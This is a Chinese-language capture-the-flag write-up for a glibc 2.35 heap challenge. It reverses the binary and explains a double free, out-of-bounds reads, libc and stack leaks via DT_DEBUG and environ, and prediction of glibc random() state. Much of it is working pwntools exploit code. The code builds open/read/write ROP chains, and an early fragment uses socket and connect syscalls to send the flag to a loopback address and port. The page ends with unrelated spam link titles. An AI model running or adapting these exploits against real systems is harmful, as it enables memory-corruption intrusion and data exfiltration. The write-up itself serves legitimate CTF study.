print("syscall_ret",hex(syscall_ret))def syscall(rax=0, rdi=0, rsi=0, rdx=0):pay  = p64(pop_rax) +  p64(rax)pay += p64(pop_rdi) +  p64(rdi)pay += p64(pop_rsi) +  p64(rsi)pay += p64(pop_rdx) +  p64(rdx) * 2pay += p64(syscall_ret)return paydef read_(fd, buf, count):  return syscall(0, fd, buf, count)
def write(fd, buf, count): return syscall(1, fd, buf, count)
def open_(filename=0, modes=0, flags=0): return syscall(2, filename, modes, flags)
def socket_(domain=2,TYPE=1,protocol=0): return syscall(0x29,domain, TYPE, protocol)
def connect_(fd=0,addr=0,LEN=0x10): return syscall(0x2a,fd, addr, LEN)# # 0x0100007f901f0002 ip port v
# def socket(d, t, p):
#     return syscall(0x29, 0x2, 0x1, 0)cmd = b'./flag\x00'
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x100+i))flag_str_addr =  libc_base - 0x5000 + 0x100# ## write ip port
cmd = p64(0x0100007f901f0002)
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x180+i))ip_port_addr  = libc_base - 0x5000 + 0x180# rop
rop  = open_(flag_str_addr, 0,0) # /flag fd =  0
rop += read_(0,flag_str_addr,0x50) # 
rop += socket_() # fd =1 
rop += connect_(1,ip_port_addr, 0x10) # socker connect to socket
rop += write(1,flag_str_addr,0x50)  #  cmd = rop
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x200+i))gdb.attach(io)
pause()#leave stack
ret_stack = stack - 0x120offset = ret_stack - (libc_base-0x5000)
io.send(p8(0x6b^0x7f) + p64(offset))ordrbp_pos = stack - 0x128
old_rbp=stack-0x118
offset =ordrbp_pos-(libc_base-0x5000)
newrbp = libc_base - 0x5000 + 0x200 - 8
rop = p64(newrbp ^ old_rbp)cmd = rop
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(offset+i))io.sendline(b"")io.interactive()

在這里插入圖片描述
在這里插入圖片描述

TTOCrv_🎲 glibc 2.35

在這里插入圖片描述
在這里插入圖片描述
openat+read+write

逆向

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{__int64 buf; // [rsp+0h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-8h]v4 = __readfsqword(0x28u);sandbox_0();while ( 1 ){do{while ( 1 ){menu();puts("🦐>>>");buf = 0LL;read(0, &buf, 7uLL);if ( buf != '{}\n' )break;dele();}}while ( buf > (unsigned __int64)'{}\n' );if ( buf == 'db\n' )break;if ( buf <= (unsigned __int64)'db\n' ){if ( buf == 'bd\n' ){nouse();                                // no use}else if ( buf <= (unsigned __int64)'bd\n' ){if ( buf == 'TF\n' ){show();}else if ( buf <= (unsigned __int64)'TF\n' ){if ( buf == 'PF\n' ){show_edit_name();}else if ( buf <= (unsigned __int64)'PF\n' ){if ( buf == 'H&\n' ){new();}else if ( buf == 'NC\n' ){edit();}}}}}}exit(0LL);
}

在這里插入圖片描述
chunk_array沒有清零,double free
在這里插入圖片描述
在這里插入圖片描述

可以show after free,根據(jù)每個(gè)字節(jié)的低四位和高四位分別與基礎(chǔ)字符相加然后打印出字節(jié)的字符
在這里插入圖片描述

在這里插入圖片描述
由于清不了零,這里只能new 4次
在這里插入圖片描述
edit after free

  • 上述idx都沒有檢查,存在越界讀或?qū)?#xff0c;但如果要往負(fù)的越界寫由于只能輸入7個(gè)字節(jié),負(fù)數(shù)需要最高的第八個(gè)字節(jié)為ff,這里需要利用到先調(diào)用nouse這個(gè)函數(shù)輸入滿\XFF,然后再調(diào)用輸入函數(shù)時(shí)會(huì)將殘留的ff包括在內(nèi),這樣加上原來的7個(gè)字節(jié)才能組成負(fù)數(shù)

DT_DEBUG獲得各個(gè)庫地址

通過DT_DEBUG來獲得各個(gè)庫的基址
在這里插入圖片描述
里DT_DEBUG的值是0。在實(shí)際運(yùn)行時(shí),DT_DEBUG的值是指向struct r_debug的指針

struct r_debug{ int r_version;              /* Version number for this protocol. */struct link_map *r_map;     /* Head of the chain of loaded objects. *//* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ElfW(Addr) r_brk;enum{ /* This state value describes the mapping change taking place when the `r_brk' address is called. */RT_CONSISTENT,          /* Mapping change is complete. */RT_ADD,                 /* Beginning to add a new object. */RT_DELETE               /* Beginning to remove an object mapping. */} r_state;ElfW(Addr) r_ldbase;        /* Base address the linker is loaded at. */};

struct link_map{/* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ElfW(Addr) l_addr;          /* Difference between the address in the ELF file and the addresses in memory. */char *l_name;               /* Absolute file name object was found in. */ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object. */struct link_map *l_next, *l_prev; /* Chain of loaded objects. */};

遍歷link_map,對(duì)比l_name,找到目標(biāo)之后,就可以通過l_addr獲得那個(gè)庫的基址,當(dāng)然,前提是二進(jìn)制文件需要有DT_DEBUG。
通過show,先泄露r_debug地址(ld地址), 遍歷linkmap尋找后發(fā)現(xiàn)libc的link_map與泄露的ld地址有固定偏移,然后計(jì)算偏移,下次show即可泄露(感覺泄露libc地址直接輸出got表就行)

隨機(jī)數(shù)

  • struct random_data *buf: 包含隨機(jī)數(shù)生成器狀態(tài)的結(jié)構(gòu)體。
  • int32_t *result: 指向存儲(chǔ)生成的隨機(jī)數(shù)的變量。

int
__random_r (struct random_data *buf, int32_t *result)
{int32_t *state;if (buf == NULL || result == NULL)goto fail;state = buf->state;if (buf->rand_type == TYPE_0){int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;state[0] = val;*result = val;}else{int32_t *fptr = buf->fptr;int32_t *rptr = buf->rptr;int32_t *end_ptr = buf->end_ptr;uint32_t val;val = *fptr += (uint32_t) *rptr;/* Chucking least random bit.  */*result = val >> 1;++fptr;if (fptr >= end_ptr){fptr = state;++rptr;}else{++rptr;if (rptr >= end_ptr)rptr = state;}buf->fptr = fptr;buf->rptr = rptr;}return 0;fail:__set_errno (EINVAL);return -1;
}weak_alias (__random_r, random_r)#define	TYPE_3		3
#define	BREAK_3		128
#define	DEG_3		31
#define	SEP_3		3static struct random_data unsafe_state ={
/* FPTR and RPTR are two pointers into the state info, a front and a rearpointer.  These two pointers are always rand_sep places apart, as theycycle through the state information.  (Yes, this does mean we could getaway with just one pointer, but the code for random is more efficientthis way).  The pointers are left positioned as they would be from the call:initstate(1, randtbl, 128);(The position of the rear pointer, rptr, is really 0 (as explained abovein the initialization of randtbl) because the state table pointer is setto point to randtbl[1] (as explained below).)  */.fptr = &randtbl[SEP_3 + 1],.rptr = &randtbl[1],/* The following things are the pointer to the state information table,the type of the current generator, the degree of the current polynomialbeing used, and the separation between the two pointers.Note that for efficiency of random, we remember the first location ofthe state information, not the zeroth.  Hence it is valid to accessstate[-1], which is used to store the type of the R.N.G.Also, we remember the last location, since this is more efficient thanindexing every time to find the address of the last element to see ifthe front and rear pointers have wrapped.  */.state = &randtbl[1],.rand_type = TYPE_3,.rand_deg = DEG_3,.rand_sep = SEP_3,.end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

參考匯編和源碼后大致邏輯如下

  1. rand_type默認(rèn)為TYPE_3,故不是直接采用線性同余產(chǎn)生隨機(jī)數(shù)
  2. 隊(duì)頭fptr 自加隊(duì)尾值rptr ,將此值保存為結(jié)果,然后隊(duì)頭隊(duì)尾統(tǒng)一后移一項(xiàng),再將結(jié)果作為生成的隨機(jī)數(shù)返回即可。(fptr剛開始為第4個(gè),總共32個(gè),所以需要調(diào)用rand很多次才可能進(jìn)入fptr >= end_ptr,所以當(dāng)前edit可以認(rèn)為都是else情況)

調(diào)用一次rand后fptr 和rptr 都后移四
在這里插入圖片描述
這里泄露fptr 和rptr 和fptr +0x10的內(nèi)容(正好八個(gè))

思路

  1. size是0x90,free一個(gè),然后show可以泄露heap地址
  2. nouse輸滿\xff,然后show負(fù)越界泄露pie地址,進(jìn)而能夠得到heap_list的起始地址
    在這里插入圖片描述
  3. 然后show正越界泄露r_debug地址(也可以直接泄露got內(nèi)的libc地址),然后根據(jù)r_debug地址偏移得到libc的link_map地址所在的地址,再得到和pie上的heap_list的偏移來show泄露libc地址
  4. 然后根據(jù)libc地址得到&randtbl[1+3]所在的地址和&randtbl[1]的地址所在的地址(unsafe_state 中有即&unsafe_state 和&unsafe_state +8),然后show泄露randtbl的內(nèi)容(fptr 和rptr 和fptr +0x10的內(nèi)容,每個(gè)泄露四個(gè) 泄露environ棧地址同理)或者也可以用edit_name寫libc地址和show負(fù)越界來泄露
  5. 然后根據(jù)rand函數(shù)和泄露的randtbl來繞過rand在這里插入圖片描述
    然后每次rand后會(huì)將fptr當(dāng)前值和rptr當(dāng)前值相加給fptr,由于fptr的數(shù)組和rptr的數(shù)組都是一直往右走的,由于我們最后輸入八個(gè)字節(jié)到heap的next區(qū)域,所以此時(shí)根據(jù)處理函數(shù)會(huì)進(jìn)行循環(huán)兩次,總共八次rand,fptr和rptr移動(dòng)八次,fptr這里是夠的,所以最后更新的相加的值加到rptr后面
    在這里插入圖片描述
  6. 最后分配到將棧地址進(jìn)行相關(guān)rand處理,然后分配到棧上去,注意選擇棧地址要保證對(duì)齊,不斷往小嘗試,這里將分配到read函數(shù)的返回地址所在的棧的位置處
    . 在這里插入圖片描述
    . 在這里插入圖片描述
    這里直接利用read函數(shù)殘留的寄存器再次調(diào)用read的系統(tǒng)調(diào)用,而且地址就是剛剛調(diào)用過的

在這里插入圖片描述
然后再次調(diào)用read先填充之前的,直到當(dāng)前的ret對(duì)應(yīng)的返回地址才開始rop
在這里插入圖片描述

exp

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#continue
'''.format(**locals())io = process("./pwn")def add(idx):ru('>>>')s(p32(0x48260A))ru('idx:')s(p8(idx))def edit(idx,text):ru('>>>')s(p32(0x4E430A))ru('idx:')s(p8(idx))ru('input: ')s(text)def show(idx):ru('>>>')s(p32(0x54460A))ru('idx:')s(p64(idx)[:-1])ru('ciphertext: ')def rm(idx):ru('>>>')s(p32(0x7B7D0A))ru('idx:')s(p8(idx))def edit_name(name):ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x65646974))ru(': ')s(name)def show_name():ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x73686F77))def backdoor(text):ru('>>>')s(p32(0x62640A))s(text)def rdata():ru('=============================\n')data = bytes.fromhex(rl().decode().replace(' ',''))return dataadd(0)
add(1)
rm(0)
rm(1)show(0)
data = rdata()
key  = uu64(data[:8])
heap_addr = key << 0xClss('heap_addr')backdoor('\xff'*0x38)show((1<<64)-0x13)elf_base = uu64(rdata()[:8]) - 16392heap_list = elf_base + 0x40A0
lss('heap_list')show(1068)libc_ptr= uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558lss('libc_ptr')# leak libc_base
offset = (libc_ptr - heap_list) // 8
show(offset)
libc_base  = uu64((rdata()[:8]))
lss('libc_base')print("libc",libc_base)ptr1 = libc_base + 2205792 #   &randtbl[1+3]
ptr2 = libc_base + 2205792 + 8 # &randtbl[1]
lss('ptr1')
lss('ptr2')
offset = (ptr1 - heap_list) // 8show(offset) # randtbl[1+3] 4 content
data1  = rdata()offset = (ptr2 - heap_list) // 8show(offset) # randtbl[1] 4 content
data2  = rdata()print("data1",data1)
print("data2",data2)environ = libc_base + libc.sym['environ']
offset = libc_base + 2204196 # unsafe_state
lss('environ')
lss('offset')
name = p64(offset) + p64(environ)[:-2]
edit_name(name)backdoor('\xff'*0x38)
show((1<<64)-0xC)
data3  = rdata()
print(data3) # randtbl[1+3+4] 4 contentbackdoor('\xff'*0x38)
show((1<<64)-0xb)
stack  = uu64(rdata()[:8]) - 8 # name+8lss('stack')edx = [ uu32(data1[_:_+4]) for _ in range(0,len(data1),4)]
ecx = [ uu32(data2[_:_+4]) for _ in range(0,len(data2),4)]tmp = [ uu32(data3[_:_+4]) for _ in range(0,len(data3),4)]
print(ecx)
print(edx)
print(tmp)edx += tmpunsafe_state = 0
def me_rand(): # 直接gdb 跟進(jìn) rand() 看看隨機(jī)數(shù)是怎么生成的,global unsafe_statei = unsafe_stateprint(ecx)print(edx)ecx_ = ecx[i]edx_ = edx[i]eax = ecx_ + edx_eax = eax & 0xFFFFFFFFprint('add',eax)ecx.append(1)ecx[i+3] = eaxeax = eax >> 1eax = eax & 0xFFFFFFFFprint(hex(eax))unsafe_state += 1return eax
#隊(duì)頭自加隊(duì)尾值,將此值保存為結(jié)果,然后隊(duì)頭隊(duì)尾統(tǒng)一后移一項(xiàng),再將結(jié)果作為生成的隨機(jī)數(shù)返回即可。def encrypto(eax):v5 = me_rand() % 703710v6 = me_rand() ^ v5v2 = (v6 + me_rand() + v5) & 0xFFFFFFFFeax ^= v2 - me_rand()return eaxret_stack = ((stack-0x190)^ key)
low  = encrypto(ret_stack & 0xFFFFFFFF)
high = encrypto(ret_stack >> 32 ) << 32expdata = high + lowprint(expdata)gdb.attach(io)edit(1,p64(expdata))add(2)
add(3)pause()
rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rdi = libc_base + 0x2a3e5 # pop rdi ; ret
rsi = libc_base + 0x02be51 # pop rsi ; ret
syscall = libc_base + libc.sym['read'] + 16 # syscallpay  =  b"a"*0x28
pay += p64(rax) + p64(0)    # 0x38
pay += p64(rdx) + p64(0x1000)*2 # 0x50
pay += p64(syscall)
edit(3,pay)# #define __NR_openat2 437flag_addr = stack-0x68pay  = b'b' * 0x58 #
pay += p64(rax) + p64(0x101) + p64(rdi) + p64(rax) + p64(0x101) + p64(rdi)+p64(0xffffffffffffff9c) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) * 2 + p64(syscall)
pay += p64(rdi) + p64(3) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['read'])
pay += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['write'])
pay += b'./flag'.ljust(0x8,b'\x00')sl(pay)
io.interactive()

在這里插入圖片描述

http://m.aloenet.com.cn/news/28274.html

相關(guān)文章:

  • 營銷型網(wǎng)站建設(shè)好不好免費(fèi)營銷軟件網(wǎng)站
  • 嘟嘟嘟在線觀看播放免費(fèi)寧波seo外包推廣平臺(tái)
  • 陜西省建設(shè)廳網(wǎng)站月報(bào)免費(fèi)域名的網(wǎng)站
  • 晉江論壇匿名區(qū)青島seo排名收費(fèi)
  • 微信小程序網(wǎng)站開發(fā)教程旅游seo整站優(yōu)化
  • 蘇州專業(yè)網(wǎng)站建設(shè)開發(fā)網(wǎng)站seo快速排名優(yōu)化的軟件
  • 一個(gè)內(nèi)部網(wǎng)站如何做外網(wǎng)映射百度的推廣廣告
  • 南陽做網(wǎng)站多少錢seo優(yōu)化培訓(xùn)班
  • iis 做網(wǎng)站百度賬號(hào)管理中心
  • 網(wǎng)站開發(fā)和美工的區(qū)別國內(nèi)做網(wǎng)站的公司
  • 時(shí)間軸網(wǎng)站湖南網(wǎng)站seo公司
  • 自問自答網(wǎng)站怎么做推廣方式
  • 網(wǎng)站開發(fā)后端怎么開發(fā)帶傭金的旅游推廣平臺(tái)有哪些
  • wordpress 導(dǎo)入網(wǎng)站seo大牛
  • 訪問網(wǎng)站出現(xiàn)目錄seo是什么專業(yè)的課程
  • 可以做宣傳的網(wǎng)站交易鏈接
  • 國內(nèi)做的好的網(wǎng)站短視頻剪輯培訓(xùn)班速成
  • 百度推廣競(jìng)價(jià)技巧seo的優(yōu)化原理
  • 男女做的那些事情的網(wǎng)站最近七天的新聞重點(diǎn)
  • 12306鐵路網(wǎng)站開發(fā)語言電商怎么做推廣
  • asp.net做報(bào)名網(wǎng)站seo矩陣培訓(xùn)
  • 北京附近做網(wǎng)站的公司有哪些網(wǎng)絡(luò)營銷經(jīng)典失敗案例
  • 貴陽百度公司建網(wǎng)站電話公司企業(yè)網(wǎng)站建設(shè)方案
  • 記事本做網(wǎng)站怎么加背景圖佛山做網(wǎng)站推廣的公司
  • 鄭州seo網(wǎng)站排名優(yōu)化公司蘇州網(wǎng)站建設(shè)開發(fā)公司
  • 優(yōu)化是企業(yè)通過網(wǎng)站來做嗎天津seo關(guān)鍵詞排名優(yōu)化
  • 嘉興的信息公司網(wǎng)站怎么做網(wǎng)站平臺(tái)
  • 企業(yè)網(wǎng)站的需求分析精準(zhǔn)客戶數(shù)據(jù)采集軟件
  • 做文案用什么網(wǎng)站宣傳推廣方式有哪些
  • 做網(wǎng)站解析要多久百度應(yīng)用商店app下載安裝